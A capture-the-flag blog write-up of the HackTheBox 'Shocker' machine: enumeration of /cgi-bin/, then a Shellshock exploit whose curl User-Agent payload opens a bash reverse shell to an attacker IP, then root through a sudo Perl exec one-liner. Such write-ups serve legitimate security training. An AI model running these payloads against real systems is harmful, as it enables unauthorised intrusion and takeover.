Back to Blog
HTB Write-up HackTheBox / Shocker
HTB Write-up

403 on the Directory.
200 on the Script Inside.
Shellshock. Sudo Perl. Root.

The /cgi-bin/ directory returns 403. That is not the end of the story. Scripts inside it are accessible and executable. Gobuster with .sh extensions finds user.sh. The script runs through Apache's CGI handler on a bash version vulnerable to Shellshock. Inject a reverse shell through the User-Agent header. Shell lands as shelly. sudo -l reveals Perl with NOPASSWD as root. One GTFOBins line closes the box.


Machine Shocker
Platform HackTheBox
OS Linux (Ubuntu)
Difficulty Easy
Date 1 May 2026
Status Rooted
Flags User + Root

The Machine

Shocker is a Linux machine built around CVE-2014-6271, the Shellshock vulnerability in bash. The name makes the intended path obvious. The box teaches two lessons that apply directly on the OSCP exam: when a directory returns 403, always enumerate inside it, and sudo -l is always the first post-foothold check.

Apache 2.4.18 serves a CGI script under /cgi-bin/. When Apache executes a CGI script, it passes HTTP request headers to the script as environment variables. On systems running a vulnerable version of bash, a malformed function definition in an environment variable causes bash to execute arbitrary commands appended after the definition. Because the web user can run Perl as root via sudo with no password, the escalation requires a single line.

PortServiceNotes
80HTTP (Apache 2.4.18)CGI handler active. Shellshock entry point
2222SSH (OpenSSH 7.2p2)Non-standard port. No credentials obtained this path

Enumeration

Two-phase nmap. Wide scan first, then service detection on open ports.

$ nmap -p- --min-rate 1000 -oN shocker-all-ports.txt 10.129.26.231
Nmap wide port scan showing two open ports: 80 and 2222 on Shocker
$ ports=$(grep open shocker-all-ports.txt | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
$ nmap -p $ports -sC -sV --min-rate 1000 -oN shocker-service-scan.txt 10.129.26.231
Nmap service scan showing Apache httpd 2.4.18 on port 80 and OpenSSH 7.2p2 on port 2222

Two open ports: Apache 2.4.18 on 80 and SSH on 2222. The non-standard SSH port is worth noting. Apache 2.4.18 is old enough that Shellshock is relevant if CGI scripts are present.

Web Enumeration: /cgi-bin/

Gobuster against the root directory returned nothing useful beyond a 403 on /server-status. The critical move is running a second gobuster pass directly against /cgi-bin/ with CGI-relevant extensions. The directory itself returns 403, but that only means directory listing is blocked. Scripts inside it may still be accessible and executable.

$ gobuster dir -u http://10.129.26.231/cgi-bin/ \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
  -x sh,pl,cgi -o shocker-cgibin.txt
Gobuster directory enumeration finding /cgi-bin/user.sh with status 200

Found: /cgi-bin/user.sh with status 200. Verify it executes through the Apache CGI handler:

$ curl http://10.129.26.231/cgi-bin/user.sh
curl output from /cgi-bin/user.sh returning uptime data, confirming CGI execution

The script returns uptime output, confirming it executes through bash via the Apache CGI module. This is the Shellshock attack surface.

Finding

/cgi-bin/user.sh is executable through Apache's CGI handler on a server running a vulnerable bash version. HTTP headers sent with the request are passed to the script as environment variables. Shell metacharacter injection through any header value triggers code execution before the script runs.


Foothold: Shellshock via User-Agent

CVE-2014-6271

Shellshock exploits a parsing bug in bash. When bash processes environment variables on startup, it imports exported function definitions. The vulnerability is that bash continues parsing and executing commands found after a function definition that ends with () { :; };. Any command placed after the trailing semicolon executes immediately.

When Apache executes a CGI script, each HTTP header is exported as an environment variable. HTTP_USER_AGENT receives the value of the User-Agent header. If that value contains the Shellshock payload, bash processes and executes it before the script runs. No authentication required. The payload fires as the web server process user.

$ nc -lvnp 4444
$ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.15.67/4444 0>&1' \
  http://10.129.26.231/cgi-bin/user.sh
Shellshock payload sent via curl User-Agent header targeting /cgi-bin/user.sh on Shocker Reverse shell landed as shelly on Shocker after Shellshock exploitation

Shell landed as shelly.

cat /home/shelly/user.txt
User flag captured from /home/shelly/user.txt on Shocker
USER ccf9cda31c6b0c54ce0d6b02fe535db8

Privilege Escalation: Perl NOPASSWD Sudo

sudo -l
sudo -l output showing shelly can run /usr/bin/perl as root with NOPASSWD
User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
Finding

/usr/bin/perl is available as root with no password required. Perl can spawn child processes via exec, which replaces the current process with a new one while inheriting the caller's UID. Running exec "/bin/bash" inside a root Perl process yields a root shell.

GTFOBins exec technique for Perl:

sudo perl -e 'exec "/bin/bash";'

The exec call replaces the Perl process with bash, inheriting the root UID granted by sudo. Root shell confirmed.

cat /root/root.txt
Root flag captured from /root/root.txt on Shocker
ROOT 2c54eb00715a10df55381bfb88ef218e
HackTheBox Shocker solved confirmation screen, pwned 1 May 2026

Attack Chain

StepTechniqueResult
1Nmap two-phase scanApache 2.4.18 on 80, SSH on 2222 identified
2Gobuster rootNo useful findings. /server-status returns 403
3Gobuster /cgi-bin/ with .sh,.pl,.cgi extensions/cgi-bin/user.sh found (200). Confirmed executable via curl
4Shellshock CVE-2014-6271 via User-Agent headerReverse shell as shelly. User flag captured
5sudo -l/usr/bin/perl NOPASSWD as root discovered
6sudo perl -e 'exec "/bin/bash";'Root shell via GTFOBins exec. Root flag captured

Vulnerabilities Found

VulnerabilityLocationImpact
CVE-2014-6271: ShellshockApache CGI handler, /cgi-bin/user.shUnauthenticated RCE as the web user via HTTP header injection
sudo NOPASSWD: /usr/bin/perl/etc/sudoers, shelly accountInstant privilege escalation to root via GTFOBins exec technique
CGI script on vulnerable bashApache 2.4.18, bash 4.3Enables Shellshock: HTTP headers passed as environment variables to a shell that executes them

Lessons Learned

  • A 403 on a directory does not mean its contents are inaccessible. The /cgi-bin/ directory returned 403, but scripts inside it were accessible and executable. Always run gobuster directly against 403 directories with relevant file extensions before ruling them out.
  • Use CGI-relevant extensions when enumerating /cgi-bin/. Running gobuster without -x sh,pl,cgi against a CGI directory will miss the attack surface entirely. The extension is part of the filename.
  • Shellshock fires through any HTTP header passed as an environment variable. User-Agent is the most common vector but Referer and Cookie are equally valid. If a CGI script is present on Apache with a vulnerable bash version, test all three headers.
  • The CGI handler is the attack surface, not the script content. The content of user.sh is irrelevant. What matters is that Apache executes it through bash, which processes the injected header values as environment variables before the script body runs.
  • sudo -l is always the first post-foothold check. On Shocker it ended the box immediately. Perl, Python, Ruby, vim, find, awk, nmap with NOPASSWD as root are all instant escalations via GTFOBins.
  • GTFOBins covers every common sudo binary. The Perl exec technique is documented there. On the exam, check GTFOBins before attempting to craft a custom payload manually.
  • SSH on a non-standard port is worth noting during enumeration. Port 2222 was available as an alternative foothold if credentials had been recovered from the web application or system files.
Previous Samba 3.0.20. CVE-2007-2447. Root Without a Privesc Step.
Found this useful?

Share it with your network.